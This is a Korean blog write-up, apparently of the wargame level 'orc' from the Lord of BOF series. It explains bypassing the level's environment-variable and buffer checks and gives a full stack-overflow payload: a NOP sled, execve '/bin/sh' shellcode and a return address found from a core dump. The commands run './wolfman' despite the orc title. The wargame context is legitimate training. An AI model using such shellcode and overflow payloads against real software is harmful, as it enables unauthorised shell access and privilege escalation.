System/LOB

[LOB_5]orc

dcho 2019. 7. 25. 20:08
SMALL
orc // cantata

소스파일을 확인해 어떻게 구성되어있는지 확인해준다.
여기서 프로세스안 스택에서 젤 주소가 높은위치에 환경변수들이 있는데 거기를 가리키는게 environ (환경변수에 대한 포인터) 
egghunter 로 인해 NULL 값이 나올 때 까지 환경변수에 0을 덮어 씌우니 환경변수는 쓸수없다.
여기까진 전문제와 동일하다.
이 문제에서는 추가로 //buffer hunter 가 있다.
그리고 2번째 인자값의 48번째에는 \xbf 가 나와야 프로그램이 종류가 안됨.

가용한 부분 esp-=44를 해주었다. i는 우리가 사용할 버퍼가 아니니 40을 기억.
여기  | ret | sfp | buffer |
환경변수를 이용하지 않으니 ret에 쉘코드를 가리키는 주소를 넣어준다.  근데 버퍼도 막혀있으니 빨간 부분에 오버플로우를 이용해 여기 부분에 쉘 코드를 입력해주고 주소를 알아내 ret에 넣어주면된다.
일부러 Sementation fault를해서 주소를 확인하기 위해 코어덤프를 해줘야하는데 다른 디텍토리에 사본을 만든다.

\xbf를 확인하고 쉘코드의 시작주소를 알아냈다. 알아내기쉽게 하기위해 A로 했고 쉘코드 앞에 다시 NOP으로 채운뒤 적당한 주소값을 찾아 파일을 실행시켜준다.

성공.

++ 2019/09/09 풀이

memset 덕에 버퍼가 다 0값이 들어간다. 하지만 메모리에 올라가는 인자값들은 있기에 이를 활용했다. 
./wolfman `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'

tmp 폴더에 사본을 만들고 위와 같이 NOP*15 + 쉘코드 + NOP*7 + \xbf 를 넣어 프로그램은 끝나지 않고 세폴트가 뜨게 했다. 

그런다음 코어덤프뜬것을 까봐니

스택에 NOP값과 쉘코드가 고스란히 올라간것을 확인해볼수 있었다.

그럼 페이로드 완성해볼까? 
./wolfman `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*4+"\x3b\xfc\xff\xbf"'`

뚝딱.; 
love eyuna

클리어!


 


'System > LOB' 카테고리의 다른 글

[LOB_7]darkelf  (0) 2019.09.24
[LOB_6]wolfman  (0) 2019.07.25
[LOB_4]goblin  (0) 2019.07.25
[LOB_3]cobolt  (0) 2019.07.25
[LOB_2]gremlin  (0) 2019.07.25